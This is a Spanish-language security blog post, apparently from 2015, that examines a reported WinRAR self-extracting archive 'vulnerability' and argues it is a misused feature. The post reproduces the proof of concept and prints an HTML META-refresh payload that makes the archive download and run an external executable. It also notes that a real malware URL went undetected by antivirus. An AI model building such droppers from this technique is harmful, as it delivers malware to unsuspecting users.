Post publicado en SecurityArtWork el 5 de Octubre de 2015.
El pasado Martes 29 se hacía público por parte del investigador Mohammad Reza Espargham una "vulnerabilidad" (si, con comillas) de ejecución remota de código en la conocida aplicación Winrar para Windows. En concreto en su explicación se mencionaba que la "vulnerabilidad" estaba presente en la ultima version (5.21) para windows tanto para 32 como para 64 bits.
Como si una bola de nieve se tratase se fue expandiendo la noticia por toda la red y muchas empresas, entidades y sitios web especializados en ciberseguridad, la explicaron como si de una importante vulnerabilidad se tratara. Y no es para menos, podria tratarse de un grave problema si no fuera por una serie características que la limitan.
Unos dias más tarde, en un nota del equipo de soporte de Winrar, hacian saber que muchas de las cosas que se estaban escribiendo eran inciertas y que no consideraban que fuera una vulnerabilidad, sino más bien una característica propia del Winrar.
Pero veamos de que va todo esto. En las primeras noticias leiamos que "La vulnerabilidad puede ser utilizada por un atacante para insertar código HTML dentro de la sección "Text to display", en español "Texto e iconos", cuando un usuario esté creando un fichero SFX.
Un fichero SFX es un fichero ejecutable que contenga uno o mas ficheros comprimidos en su interior. Siguiendo las instrucciones de Mohammed Reza, para conseguirlo habia que descargarse Winrar 5.21 (no lo he probado pero me imagino que el problema exista en versiones anteriores tambien), hacer clic con el boton derecho sobre un fichero y escoger la opcion "Añadir al archivo...", esto nos abre el compresor Winrar.
Una vez abierto, seleccionaremos la opcion "Crear un archivo autoextraible"
...y en la solapa "Avanzado", al hacer clic en el botón "Autoextraible"
...meteremos código HTML similar a este en el campo "Texto a mostrar en la ventana".
Esto nos crea un fichero ejecutable que en su interior contiene un fichero comprimido. En este caso un ebook. El fichero resultante es un fichero ejecutable .EXE con formato SFX, es decir autoextraible.
La vulnerabilidad se basa en que al ejecutar este fichero .EXE, la URL indicada en el codigo HTML antes mencionado se descarga y con la opcion "refresh" se ejecuta. Entonces, si la URL que le hemos puesto es, como en este caso la web de Google, al abrir el fichero SFX nos lo va a mostrar en un navegador integrado que tiene el Winrar:
Es decir, el Winrar trae un navegador incrustado. Tras una serie de pruebas, nos enteramos de que se trata del navegador del sistema:
...entre otras pruebas que le hicimos, con lo que supimos que no es un internet explorer normal y que tiene capado los scripts de javascript.
Pues bien, si somos capaces de mostrar HTML, la idea de Mohammed Reza fue... ¿y descargar un malware?. Pues claro, muy facil. En esta prueba, voy a descargar y ejecutar el putty, de la URL http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
Por tanto el codigo HTML quedará asi:
<html> <head> <title>poc <META http-equiv="refresh" content="0; URL=http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe"> </head> </html>
Y lo cierto es que lo descarga y lo ejecuta:
...no sin antes avisarnos de que es un .exe... que puede dañar el equipo.
¿Y esto lo podríamos evitar?. Mohammed Reza hizo que el ejecutable estuviera en el propio comprometido y al ejecutar un PHP, creaba un pseudo servidor web, asi que instalamos un servidor HTTP simple en la propia maquina, pusimos una URL local y.... el mismo mensaje.
Lo cierto es que, pensamos, aun así podría ser un problema de seguridad, nunca hay que menospreciar la estupidez humana. A no ser que los sistemas antivirus detecten el fichero ejecutable como malware.
Asi que se le inyectamos la URL del ultimo malware detectado en malc0de database:
y esto fue lo que nos salio en virustotal:
Ningún antivirus detecto que fuera un ejecutable malicioso. Y lo cierto es que no lo es... pero tiene una URL hacia un fichero malicioso. Nada mas.
El problema es que el Winrar lo ejecuta... no sin antes avisarte eso si, de que esto podría afectar a tu ordenador.
Ahora bien, si os acordáis, al principio de todo este rollo, indicaba que era una "vulnerabilidad", con comillas. Desde Winrar se dicho por activa y por pasiva, que no es una vullnerabilidad sino de una feature, una característica. Es (o eso pretende ser) una forma de poder documentar lo que esta comprimido mediante HTML.
Personalmente creo que el HTML sobra, pero lo que esta claro es que Winrar ha dicho que no es una vulnerabilidad, no va a sacar CVE y de hecho no va a haber ni siquiera nueva version capando esta "feature".
Y la verdad es que tienen bastante razón. Para que una persona pueda infectarse a través de un fichero autoextraible de Winrar deben fallar muchas medidas de seguridad:
- El usuario final debe recibir un correo electrónico con un fichero .EXE adjunto. Todos los clientes de correo y la mayoría de los webmail lo habrian ya filtrado.
- Debe ejecutar el ejecutable que viene en el correo, pese a que es la primera regla de seguridad que enseñan en el parvulario.
- Debe hacer caso omiso de los avisos que el sistema operativo muestra y que antes hemos visto.
- El malware descargado y ejecutado debe burlar las medidas de seguridad (antivirus, etc) instalados en el sistema. Casi el paso más simple de los cuatro.
Es mas, si nos están mandando un fichero ejecutable... y lo vamos a abrir, ¿por que no mandarnos directamente un fichero infectado con malware?. La única diferencia es que Virustotal lo detectará como malicioso y éste no. Se podría considerar a todo este asunto como un "hand-made dropper". Muy facil de crear, muy facil de usar, perfecto para script kiddies y wanabees.
En resumen:
¿Se trata de una vulnerabilidad?. A decir verdad no. El programa Winrar está correctamente escrito. No tiene vulnerbilidades en el código. Se trata pues de un aprovechamiento ilegítimo de una funcionalidad existente y legítima de Winrar.¿Debería haberse montado el revuelo generado?. Desde mi punto de vista es bueno que se haya informado al publico "de a pie" que los ficheros RAR recibidos, sea por el medio que sea, son potencialmente peligrosos. Y que se debe estar alerta.
¿Deberíamos estar preocupados?. Yo creo que no. Parece poco probable que nadie pueda mandarnos un fichero ejecutable por correo, lo abramos y hagamos caso omiso de los avisos.